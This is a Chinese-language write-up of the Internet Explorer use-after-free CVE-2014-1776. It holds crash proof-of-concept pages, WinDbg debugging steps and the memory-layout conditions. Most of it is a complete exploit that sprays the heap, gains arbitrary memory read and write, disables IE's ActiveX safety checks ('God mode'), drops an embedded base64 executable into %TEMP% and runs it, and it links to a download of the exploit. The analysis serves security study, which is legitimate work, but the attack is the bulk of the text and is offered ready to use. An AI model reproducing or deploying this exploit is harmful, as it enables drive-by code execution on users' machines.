1. 漏洞分析
由于是UAF的漏洞,因此先开启HPA
和UST
然后用WinDbg附加并打开POC页面
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
window.onload = function (){
var head = document.getElementById("haed")
tmp = document.createElement("CVE-2014-1776")
document.getElementById("vml").childNodes[0].appendChild(tmp)
tmp.appendChild(head)
tmp = head.offsetParent
tmp.onpropertychange = function(){
this["removeNode"](true)
document.createElement("CVE-2014-1776").title = ""
}
head.firstChild.nextSibling.disabled = head
}
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
访问后WinDbg崩溃,可以看到错误是发生在CMarkup::IsConnectedToPrimaryMarkup
函数,并且这个释放的堆大小为0x428
下面尝试下对释放后的堆进行占位
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script>
window.onload = function (){
var head = document.getElementById("haed")
tmp = document.createElement("CVE-2014-1776")
document.getElementById("vml").childNodes[0].appendChild(tmp)
tmp.appendChild(head)
tmp = head.offsetParent
tmp.onpropertychange = function(){
this["removeNode"](true)
document.createElement("CVE-2014-1776").title = ""
var elem = document.createElement("div");
elem.className = new Array(0x428/2).join("a");
}
head.firstChild.nextSibling.disabled = head
}
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
先去掉HPA
和UST
,由于CMarkup::IsConnectedToPrimaryMarkup
函数也会在其他地方调用,因此对CBase::put_BoolHelper
函数里的CMarkup::IsConnectedToPrimaryMarkup
进行下断
bp MSHTML!CBase::put_BoolHelper "bc *; bp MSHTML!CMarkup::IsConnectedToPrimaryMarkup 3; g"
2. 漏洞利用
用IDA打开mshtml.dll,跳转到CMarkup::IsConnectedToPrimaryMarkup
函数
我们能控制ecx
指向的内容,让其执行绿色标识的块,再看调用CMarkup::IsConnectedToPrimaryMarkup
的函数CMarkup::OnCssChange
esi
指向的正是我们能控制的内容,然后看CMarkup::IsPendingPrimaryMarkup
函数
CMarkup::Root
函数
这里要特别注意的是最后的mov eax, [eax+ecx-24h]
,再看CElement::EnsureFormatCacheChange
函数
最后看CView::AddInvalidationTask
函数
这里esi
的值就是调用前push进来的edx
,edx
为[eax+1Ch]
,而eax
就是调用CMarkup::Root
函数后的返回值,特别注意inc dword ptr [edi+248h]
,这可以使任意地址处的数据加1,到这就跟CVE-2014-0322
很类似了。
漏洞利用的内存布局总结如下:
Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
X = [ptr+0A4h] ==> Y = [X+0ch] ==>
[Y+208h] is 0
[Y+630h+248h] = [Y+878h] val to inc! <======
[Y+630h+380h] = [Y+9b0h] has bit 16 set
[Y+630h+3f4h] = [Y+0a24h] has bit 7 set
[Y+1044h] is 0
U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
[W+0ah] has bit 1 set & bit 4 unset
[W+44h] has bit 7 set
[W+5ch] is writable
[ptr+198h] has bit 12 set
3. 完整EXP(上帝模式)
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head id="haed">
<title>IE Case Study - STEP1</title>
<style>
v\:*{Behavior: url(#default#VML)}
</style>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
<script language="javascript">
magic_addr = 0xc000000;
function dword2Str(dword) {
var low = dword % 0x10000;
var high = Math.floor(dword / 0x10000);
if (low == 0 || high == 0)
alert("dword2Str: null wchars not allowed");
return String.fromCharCode(low, high);
}
function getPattern(offset_values, tot_bytes) {
if (tot_bytes % 4 != 0)
alert("getPattern(): tot_bytes is not a multiple of 4");
var pieces = new Array();
var pos = 0;
for (i = 0; i < offset_values.length/2; ++i) {
var offset = offset_values[i*2];
var value = offset_values[i*2 + 1];
var padding = new Array((offset - pos)/2 + 1).join("a");
pieces.push(padding + dword2Str(value));
pos = offset + 4;
}
// The "- 2" accounts for the null wchar at the end of the string.
var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a");
pieces.push(padding);
return pieces.join("");
}
function trigger() {
var head = document.getElementById("haed")
tmp = document.createElement("CVE-2014-1776")
document.getElementById("vml").childNodes[0].appendChild(tmp)
tmp.appendChild(head)
tmp = head.offsetParent
tmp.onpropertychange = function(){
this["removeNode"](true)
document.createElement("CVE-2014-1776").title = ""
var elem = document.createElement("div");
elem.className = getPattern([
0xa4, magic_addr + 0x20 - 0xc, // X; X+0xc --> b[0]
0x118, magic_addr + 0x24 + 0x24, // U; U --> (*); U-0x24 --> b[1]
0x198, -1 // bit 12 set
], 0x428);
}
head.firstChild.nextSibling.disabled = head
}
// The object is 0x428 bytes.
// Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
// X = [ptr+0A4h] ==> Y = [X+0ch] ==>
// [Y+208h] is 0
// [Y+630h+248h] = [Y+878h] val to inc! <======
// [Y+630h+380h] = [Y+9b0h] has bit 16 set
// [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
// [Y+1044h] is 0
// U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
// [W+0ah] has bit 1 set & bit 4 unset
// [W+44h] has bit 7 set
// [W+5ch] is writable
// [ptr+198h] has bit 12 set
window.onload = function() {
CollectGarbage();
var header_size = 0x20;
var array_len = (0x10000 - header_size)/4;
var a = new Array();
for (var i = 0; i < 0x1000; ++i) {
a[i] = new Array(array_len);
var idx;
b = a[i];
b[0] = magic_addr + 0x1b - 0x878; // Y
idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4); // index for Y+9b0h
b[idx] = -1; b[idx+1] = -1;
idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4); // index for Y+0a24h
b[idx] = -1; b[idx+1] = -1;
idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4); // index for Y+1044h
b[idx] = 0; b[idx+1] = 0;
// The following address would be negative so we add 0x10000 to translate the address
// from the previous copy of the array to this one.
idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4); // index for Y+208h
b[idx] = 0; b[idx+1] = 0;
b[1] = magic_addr + 0x28 - 0x1c; // V, [U-24h]; V+1ch --> b[2]
b[(0x24 + 0x24 - 0x20)/4] = 0; // [U] (*)
b[2] = magic_addr + 0x2c - 0xa; // W; W+0ah --> b[3]
b[3] = 2; // [W+0ah]
idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4); // index for W+44h
b[idx] = -1; b[idx+1] = -1;
}
// /------- allocation header -------\ /--------- buffer header ---------\
// 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
// array_len buf_len
// alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
trigger();
// Locate the modified Array.
idx = -1;
for (var i = 0; i < 0x1000 - 1; ++i) {
// We try to modify the first element of the next Array.
a[i][array_len + header_size/4] = 1;
// If we successfully modified the first element of the next Array, then a[i]
// is the Array whose length we modified.
if (a[i+1][0] == 1) {
idx = i;
break;
}
}
if (idx == -1) {
// alert("Can't find the modified Array");
window.location.reload();
return;
}
// Modify the second Array for reading/writing everywhere.
a[idx][array_len + 0x14/4] = 0x3fffffff;
a[idx][array_len + 0x18/4] = 0x3fffffff;
a[idx+1].length = 0x3fffffff;
var base_addr = magic_addr + 0x10000 + header_size;
// Very Important:
// The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
// converted to 64-bit floating point.
// This means that we can't, for instance, write
// a[idx+1][index] = 0xc1a0c1a0;
// The number 0xc1a0c1a0 is too big to fit in a signed int32.
// We'll need to represent 0xc1a0c1a0 as a negative integer:
// a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
function int2uint(x) {
return (x < 0) ? 0x100000000 + x : x;
}
function uint2int(x) {
return (x >= 0x80000000) ? x - 0x100000000 : x;
}
// The value returned will be in [0, 0xffffffff].
function read(addr) {
var delta = addr - base_addr;
var val;
if (delta >= 0)
val = a[idx+1][delta/4];
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
val = a[idx+1][(0x100000000 + delta)/4];
return int2uint(val);
}
// val must be in [0, 0xffffffff].
function write(addr, val) {
val = uint2int(val);
var delta = addr - base_addr;
if (delta >= 0)
a[idx+1][delta/4] = val;
else
// In 2-complement arithmetic,
// -x/4 = (2^32 - x)/4
a[idx+1][(0x100000000 + delta)/4] = val;
}
function get_addr(obj) {
a[idx+2][0] = obj;
return read(base_addr + 0x10000);
}
// Here's the beginning of the element div:
// +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
// v
// 6cc55480 05354280 00000000 0536cfb0
//
// To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
// X = [div_elem+0ch]
// X = [X+8]
// obj_ptr = [X+10h]
// vftptr = [obj_ptr]
// where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
var addr = get_addr(document.createElement("div"));
jscript9 = read(addr) - 0x5480;
mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
var old1 = read(mshtml+0xebcd98+0x10);
var old2 = read(mshtml+0xebcd98+0x14);
function GodModeOn() {
write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
}
function GodModeOff() {
write(mshtml+0xebcd98+0x10, old1);
write(mshtml+0xebcd98+0x14, old2);
}
// content of exe file encoded in base64.
runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
function createExe(fname, data) {
GodModeOn();
var tStream = new ActiveXObject("ADODB.Stream");
var bStream = new ActiveXObject("ADODB.Stream");
GodModeOff();
tStream.Type = 2; // text
bStream.Type = 1; // binary
tStream.Open();
bStream.Open();
tStream.WriteText(data);
tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?)
tStream.CopyTo(bStream);
var bStream_addr = get_addr(bStream);
var string_addr = read(read(bStream_addr + 0x50) + 0x44);
if (read(string_addr) != 0) { // only when there is a string to overwrite
write(string_addr, 0x003a0043); // 'C:'
write(string_addr + 4, 0x0000005c); // '\'
}
try {
bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists
}
catch(err) {
return 0;
}
tStream.Close();
bStream.Close();
return 1;
}
// decoder
// [https://gist.github.com/1020396] by [https://github.com/atk]
function atob(input) {
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var str = String(input).replace(/=+$/, '');
if (str.length % 4 == 1) {
throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
}
for (
// initialize result and counters
var bc = 0, bs, buffer, idx = 0, output = '';
// get next character
buffer = str.charAt(idx++);
// character found in table? initialize bit storage and add its ascii value;
~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
// and if not first of each 4 characters,
// convert the first 8 bits to one ascii character
bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
) {
// try to find character in table (0-63, not found => -1)
buffer = chars.indexOf(buffer);
}
return output;
}
function decode(b64Data) {
var data = atob(b64Data);
// Now data is like
// 11 00 12 00 45 00 50 00 ...
// rather than like
// 11 12 45 50 ...
// Let's fix this!
var arr = new Array();
for (var i = 0; i < data.length / 2; ++i) {
var low = data.charCodeAt(i*2);
var high = data.charCodeAt(i*2 + 1);
arr.push(String.fromCharCode(low + high * 0x100));
}
return arr.join('');
}
GodModeOn();
var shell = new ActiveXObject("WScript.shell");
GodModeOff();
fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
if (createExe(fname, decode(runcalc)) == 0) {
// alert("SaveToFile failed");
window.location.reload();
return 0;
}
shell.Exec(fname);
// alert("Done");
}
</script>
</head>
<body><v:group id="vml" style="width:500pt;"><div></div></group></body>
</html>
完整EXP下载地址:https://github.com/birdg0/exp/blob/master/browser/ie11-cve-2014-1776-exp.html